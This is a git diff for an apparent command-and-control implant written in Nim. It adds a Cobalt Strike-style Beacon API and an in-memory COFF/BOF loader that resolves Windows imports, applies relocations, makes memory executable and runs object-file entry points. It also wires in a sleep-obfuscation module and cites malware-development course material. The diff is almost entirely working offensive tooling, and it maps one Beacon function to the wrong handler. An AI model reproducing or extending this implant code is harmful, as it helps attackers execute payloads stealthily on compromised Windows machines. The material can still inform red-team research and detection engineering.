diff --git a/conquest.nimble b/conquest.nimble index 77e98fc..36a439f 100644 --- a/conquest.nimble +++ b/conquest.nimble @@ -26,4 +26,5 @@ requires "parsetoml >= 0.7.2" requires "nimcrypto >= 0.6.4" requires "tiny_sqlite >= 0.2.0" requires "prologue >= 0.6.6" -requires "winim >= 3.9.4" \ No newline at end of file +requires "winim >= 3.9.4" +requires "ptr_math >= 0.3.0" \ No newline at end of file diff --git a/src/agent/core/beacon.nim b/src/agent/core/beacon.nim new file mode 100644 index 0000000..ff5477f --- /dev/null +++ b/src/agent/core/beacon.nim @@ -0,0 +1,86 @@ +import winim/core + +# Reference: https://github.com/m4ul3r/malware/blob/main/nim/coff_loader/beaconapi.nim + +type va_list {.importc: "va_list", header: "".} = object +proc puts(s: pointer): void {.importc, header: "".} +proc vprintf(format: pointer, args: va_list) {.importc, header: "".} +proc va_start(va: va_list, fmt: pointer) {.importc, header: "".} +proc va_end(va: va_list): void {.importc, header: "".} + +type datap* {.pure.} = object + original: PCHAR + buffer: PCHAR + length: INT + size: INT + +const + CALLBACK_OUTPUT* = 0x0 + CALLBACK_OUTPUT_OEM* = 0x1e + CALLBACK_OUTPUT_UTF8* = 0x20 + CALLBACK_ERROR* = 0xd + +proc BeaconDataParse*(parser: ptr datap, buffer: PCHAR, size: INT): void = + if cast[int](parser) == 0: + return + parser.original = buffer + parser.buffer = buffer + parser.length = size - 4 + parser.size = size - 4 + parser.buffer = cast[PCHAR](cast[int](buffer) + 4) + +proc BeaconDataInt*(parser: ptr datap): INT = + var fourbyteint: INT = 0 + if (parser.length < 4): + return 0 + copyMem(fourbyteint.addr, parser.buffer, 4) + parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 4) + parser.length = cast[INT](cast[int](parser.length) - 4) + + return fourbyteint + +proc BeaconDataShort*(parser: ptr datap): SHORT = + var retvalue: SHORT = 0 + if (parser.length < 2): + return 0 + copyMem(retvalue.addr, parser.buffer, 2) + parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 2) + parser.length = cast[INT](cast[int](parser.length) - 2) + + return retvalue + +proc BeaconDataLength*(parser: ptr datap): INT = + return parser.length + +proc BeaconDataExtract*(parser: ptr datap, size: ptr INT): PCHAR = + var + length: INT = 0 + outdata: PCHAR = nil + + if (parser.length < 4): + return nil + + copyMem(length.addr, parser.buffer, 4) + parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 4) + + outdata = parser.buffer + if (outdata == nil): + return nil + + parser.length = cast[INT](cast[int](parser.length) - 4) + parser.length = cast[INT](cast[int](parser.length) - length) + parser.buffer = cast[PCHAR](cast[int](parser.buffer) + length) + + if (size != nil) and (outdata != nil): + size[] = length + + return outdata + +proc BeaconOutput*(typ: int, data: pointer, length: int): void = + puts(data) + +proc BeaconPrintf*(typ: int, fmt: pointer): void {.varargs.} = + var va: va_list + va_start(va, fmt) + vprintf(fmt, va) + va_end(va) \ No newline at end of file diff --git a/src/agent/core/coff.nim b/src/agent/core/coff.nim new file mode 100644 index 0000000..213624f --- /dev/null +++ b/src/agent/core/coff.nim @@ -0,0 +1,427 @@ +import winim/lean +import os, strformat, strutils, ptr_math +import ./beacon +import ../../common/[types, utils, crypto] + +import sugar + +#[ + Object file loading involves the following steps + 1. Calculate and allocate memory required to hold the object file sections and symbols + 2. Copy option sections into the newly allocated memory + 3. Parse and resolve function symbols + 4. Perform section relocations + 5. Change memory protection and execute the entry point function + + References: + - https://maldevacademy.com/new/modules/51 + - https://github.com/m4ul3r/malware/blob/main/nim/coff_loader/main.nim + - https://github.com/frkngksl/NiCOFF/blob/main/Main.nim +]# + +# Type definitions +type + SECTION_MAP = object + base: PVOID + size: ULONG + + PSECTION_MAP = ptr SECTION_MAP + + OBJECT_CTX_UNION {.union.} = object + base: ULONG_PTR + header: PIMAGE_FILE_HEADER + + OBJECT_CTX {.pure.} = object + union: OBJECT_CTX_UNION + symTbl: PIMAGE_SYMBOL + symMap: ptr PVOID + secMap: PSECTION_MAP + sections: PIMAGE_SECTION_HEADER + + POBJECT_CTX = ptr OBJECT_CTX + + # For entry point execution + EntryPoint = proc(args: PBYTE, argc: ULONG): void {.stdcall.} + +# Macro for page alignment ( important for calculating the total virtual memory required for the object file to be loaded and executed) +# #define PAGE_ALIGN( x ) (((ULONG_PTR)x) + ((SIZE_OF_PAGE - (((ULONG_PTR)x) & (SIZE_OF_PAGE - 1))) % SIZE_OF_PAGE)) +const PAGE_SIZE = 0x1000 +template PAGE_ALIGN(address: auto): uint = + if cast[uint](address) mod PAGE_SIZE == 0: + cast[uint](address) + else: + cast[uint](cast[uint](address) + ((PAGE_SIZE - ((cast[uint](address) and (PAGE_SIZE - 1))) mod PAGE_SIZE))) + +#[ + Calculates required memory size +]# +proc objectVirtualSize(objCtx: POBJECT_CTX): ULONG = + + var + objRel: PIMAGE_RELOCATION + objSym: PIMAGE_SYMBOL + symbol: PSTR + length: ULONG + + var sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections) + + # Calculate size of the sections + for i in 0 ..< int(objCtx.union.header.NumberOfSections): + length += ULONG(PAGE_ALIGN(sections[i].SizeOfRawData)) + + # Calculate function map size + for i in 0 ..< int(objCtx.union.header.NumberOfSections): + objRel = cast[PIMAGE_RELOCATION](objCtx.union.base + sections[i].PointerToRelocations) + + # Iterate over section relocations to retrieve symbols + for j in 0 ..< int(sections[i].NumberOfRelocations): + objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + cast[int](objRel.SymbolTableIndex)) + # dump objSym.repr + + # Retrieve symbol name + if objSym.N.Name.Short != 0: + # Short name + symbol = cast[PSTR](addr objSym.N.ShortName) + + else: + # Long name + symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long)) + + # Check if symbol starts with `__ipm_` (imported functions) + if ($symbol).startsWith("__imp_"): + length += ULONG(sizeof(PVOID)) + # echo $symbol + + # Handle next relocation item/symbol + objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION)) + + return ULONG(PAGE_ALIGN(length)) + +#[ + Symbol resolution +]# +proc strchr*(str: pointer, c: char): pointer = + var pStr = cast[ptr char](str) + while (pStr[] != '\0') and (pStr[] != c): + pStr = cast[ptr char](cast[int](pStr) + 1) + + if pStr[] == c: + return cast[pointer](pStr) + else: + return nil + +proc objectResolveSymbol(symbol: var PSTR): PVOID = + + var + resolved: PVOID + function: PSTR + library: PSTR + pos: PCHAR + buffer: array[MAX_PATH, char] + hModule: HANDLE + + if symbol == NULL: + return NULL + + # Remove the `__imp_` prefix from the symbol (6 bytes) + symbol = cast[PSTR](cast[uint](symbol) + 6) + + # Check if the symbol is a Beacon API function + if ($symbol).startsWith(protect("Beacon")): + case $symbol: + of protect("BeaconDataParse"): + resolved = BeaconDataParse + of protect("BeaconDataInt"): + resolved = BeaconDataInt + of protect("BeaconDataShort"): + resolved = BeaconDataInt + of protect("BeaconDataExtract"): + resolved = BeaconDataExtract + of protect("BeaconOutput"): + resolved = BeaconOutput + of protect("BeaconPrintf"): + resolved = BeaconPrintf + + else: + # Resolve a external Win32 API function + # For external APIs, we will need to parse symbols formatted as LIBRARY$Function + + zeroMem(addr buffer[0], MAX_PATH) + copyMem(addr buffer[0], symbol, ($symbol).len()) + + # Replace `$` to separate library and function + pos = cast[PSTR](strchr(addr buffer[0], '$')) + pos[] = '\0' + + library = cast[PSTR](addr buffer[0]) + function = cast[PSTR](cast[uint](pos) + 1) + + # Resolve the library instance + hModule = GetModuleHandleA(library) + if hModule == 0: + hModule = LoadLibraryA(library) + if hModule == 0: + raise newException(CatchableError, fmt"Library {$library} not found.") + + # Resolve the function from the loaded library + resolved = GetProcAddress(hModule, function) + if resolved == NULL: + raise newException(CatchableError, fmt"Function {$function} not found in {$library}.") + + echo fmt" [>] {$symbol} @ 0x{resolved.repr}" + + RtlSecureZeroMemory(addr buffer[0], sizeof(buffer)) + + return resolved + +#[ + Object relocation + Arguments: + - uType: Type of relocation to perform + - pRelocAddress: Address where the relocation will be applied + - pSecBase: Base address of the section in the newly allocated object file, where the relocation needs to occur +]# +proc objectRelocation(uType: ULONG, pRelocAddress: PVOID, pSecBase: PVOID) = + var + offset32: ULONG32 + offset64: ULONG64 + + case(uType) + of IMAGE_REL_AMD64_REL32: + cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32) + of IMAGE_REL_AMD64_REL32_1: + cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 1) + of IMAGE_REL_AMD64_REL32_2: + cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 2) + of IMAGE_REL_AMD64_REL32_3: + cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 3) + of IMAGE_REL_AMD64_REL32_4: + cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 4) + of IMAGE_REL_AMD64_REL32_5: + cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 5) + of IMAGE_REL_AMD64_ADDR64: + cast[PUINT64](pRelocAddress)[] = cast[UINT64](cast[uint](cast[PUINT64](pRelocAddress)[]) + (cast[uint](pSecBase))) + else: discard + +#[ + Section processing +]# +proc objectProcessSection(objCtx: POBJECT_CTX): bool = + + var + secBase: PVOID + secSize: ULONG + objRel: PIMAGE_RELOCATION + objSym: PIMAGE_SYMBOL + symbol: PSTR + resolved: PVOID + reloc: PVOID + fnIndex: ULONG + + var + sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections) + secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap) + symMap = cast[ptr UncheckedArray[PVOID]](objCtx.symMap) + + # Process and relocate object file sections + for i in 0 ..< int(objCtx.union.header.NumberOfSections): + objRel = cast[PIMAGE_RELOCATION](objCtx.union.base + sections[i].PointerToRelocations) + + # Iterate over section relocations to retrieve symbols + for j in 0 ..< int(sections[i].NumberOfRelocations): + objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + cast[int](objRel.SymbolTableIndex)) + + # Retrieve symbol name + if objSym.N.Name.Short != 0: + # Short name + symbol = cast[PSTR](addr objSym.N.ShortName) + + else: + # Long name + symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long)) + + # Retrieve address to perform relocation + reloc = cast[PVOID](cast[uint](secMap[i].base) + uint(objRel.union1.VirtualAddress)) + resolved = NULL + + # Check if symbol starts with `__ipm_` (imported functions) + if ($symbol).startsWith("__imp_"): + + # Resolve the imported function + resolved = objectResolveSymbol(symbol) + if resolved == NULL: + return false + + # Perform relocation on the imported function + if (objRel.Type == IMAGE_REL_AMD64_REL32) and (resolved != NULL): + symMap[fnIndex] = resolved + cast[PUINT32](reloc)[] = cast[UINT32]((cast[uint](objCtx.symMap) + uint(fnIndex) * uint(sizeof(PVOID))) - cast[uint](reloc) - uint(sizeof(uint32))) + inc fnIndex + + else: + secBase = secMap[objSym.SectionNumber - 1].base + + # Perform relocation on the section + objectRelocation(cast[ULONG](objRel.Type), reloc, secBase) + + # Handle net relocation item/symbol + objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION)) + + return true + +#[ + Object file execution + Arguments: + - objCtx: Object context + - entry: Name of the entry function to be executed + - args: Pointer to the address of the arguments passed to the object file + - argc: Size of the arguments passed to the object file +]# +proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: PBYTE, argc: ULONG): bool = + + var + objSym: PIMAGE_SYMBOL + symbol: PSTR + secBase: PVOID + secSize: ULONG + oldProtect: ULONG + + var secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap) + + for i in 0 ..< int(objCtx.union.header.NumberOfSymbols): + objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + i) + + # Retrieve symbol name + if objSym.N.Name.Short != 0: + # Short name + symbol = cast[PSTR](addr objSym.N.ShortName) + + else: + # Long name + symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long)) + + # Check if the function is defined within the object file + if ISFCN(objSym.Type) and ($symbol == $entry): + # Change the memory protection of the section to make it executable + secBase = secMap[objSym.SectionNumber - 1].base + secSize = secMap[objSym.SectionNumber - 1].size + + # Change the memory protection from [RW-] to [R-X] + if VirtualProtect(secBase, secSize, PAGE_EXECUTE_READ, addr oldProtect) == 0: + raise newException(CatchableError, $GetLastError()) + + # Execute BOF entry point + var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value)) + entryPoint(args, argc) + + # Revert the memory protection change + if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0: + raise newException(CatchableError, $GetLastError()) + + return true + + return false + +#[ + Loads, parses and executes a object file in memory + + Arguments: + - pObject: Base address of the object file in memory + - sFunction: Name of the function to be executed, usually "go" + - pArgs: Base address of the arguments to be passed to the function + - uArgc: Size of the arguments passed to the function +]# +proc inlineExecuteObjectFile*(pObject: PVOID, sFunction: PSTR = "go", pArgs: PBYTE, uArgc: ULONG): bool = + + var + objCtx: OBJECT_CTX + virtSize: ULONG + virtAddr: PVOID + secSize: ULONG + secBase: PVOID + + if pObject == NULL or sFunction == NULL: + raise newException(CatchableError, "Arguments pObject and sFunction are required.") + + # Parsing the object file's file header, symbol table and sections + objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject) + objCtx.symTbl = cast[PIMAGE_SYMBOL](cast[int](pObject) + cast[int](objCtx.union.header.PointerToSymbolTable)) + objCtx.sections = cast[PIMAGE_SECTION_HEADER](cast[int](pObject) + sizeof(IMAGE_FILE_HEADER)) + + # echo objCtx.union.header.repr + # echo objCtx.symTbl.repr + # echo objCtx.sections.repr + + # Verifying that the object file's architecture is x64 + when defined(amd64): + if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64: + raise newException(CatchableError, "Only x64 object files are supported") + else: + raise newException(CatchableError, "Only x64 object files are supported") + + # Calculate required virtual memory + virtSize = objectVirtualSize(addr objCtx) + echo fmt"[*] Virtual size of object file: {virtSize} bytes" + + # Allocate memory + virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE) + if virtAddr == NULL: + raise newException(CatchableError, $GetLastError()) + + # Allocate heap memory to store section map array + objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP))) + if objCtx.secMap == NULL: + raise newException(CatchableError, $GetLastError()) + + echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)" + + # Set the section base to the allocated memory + secBase = virtAddr + + # Copy over sections into the newly allocated virtual memory + var + sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections) + secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap) + + echo "[*] Copying over sections." + for i in 0 ..< int(objCtx.union.header.NumberOfSections): + secSize = sections[i].SizeOfRawData + secMap[i].size = secSize + secMap[i].base = secBase + + # Copy over section data + copyMem(secBase, cast[PVOID](objCtx.union.base + cast[int](sections[i].PointerToRawData)), secSize) + echo fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))" + + # Get the next page entry + secBase = cast[PVOID](PAGE_ALIGN(cast[uint](secBase) + uint(secSize))) + + # The last page of the memory is the symbol/function map + objCtx.symMap = cast[ptr PVOID](secBase) + + echo "[*] Processing sections and performing relocations." + if not objectProcessSection(addr objCtx): + raise newException(CatchableError, "Failed to process sections.") + + # Executing the object file + echo "[*] Executing." + if not objectExecute(addr objCtx, sFunction, pArgs, uArgc): + raise newException(CatchableError, fmt"Failed to execute function {$sFunction}.") + + return true + +proc test*() = + + var + fileName = "whoami.x64.o" + pObject = readFile(fileName) + uLength: ULONG = cast[ULONG](pObject.len) + + echo fmt"[+] Read file {fileName}: 0x{(addr pObject[0]).toHex()} (Size: {uLength} bytes)" + + try: + if not inlineExecuteObjectFile(addr pObject[0], "go", NULL, 0): + echo fmt"[-] Failed to inline-execute {fileName}" + + except CatchableError as err: + echo "[-] ", err.msg \ No newline at end of file diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index e1da705..1bb41c7 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -3,8 +3,6 @@ import winim/inc/tlhelp32 import os, system, strformat import ../../common/[types, utils, crypto] -import sugar - # Sleep obfuscation implementation based on Ekko, originally developed by C5pider # The code in this file was taken from the MalDev Academy modules 54, 56 & 59 and translated from C to Nim # https://maldevacademy.com/new/modules/54 diff --git a/src/agent/main.nim b/src/agent/main.nim index 743cd96..e2fe8a7 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -1,6 +1,6 @@ import strformat, os, times, system, base64 -import core/[http, context, sleepmask] +import core/[http, context, sleepmask, coff] import protocol/[task, result, heartbeat, registration] import ../modules/manager import ../common/[types, utils, crypto] @@ -69,5 +69,5 @@ proc main() = except CatchableError as err: echo "[-] ", err.msg -when isMainModule: +when isMainModule: main() \ No newline at end of file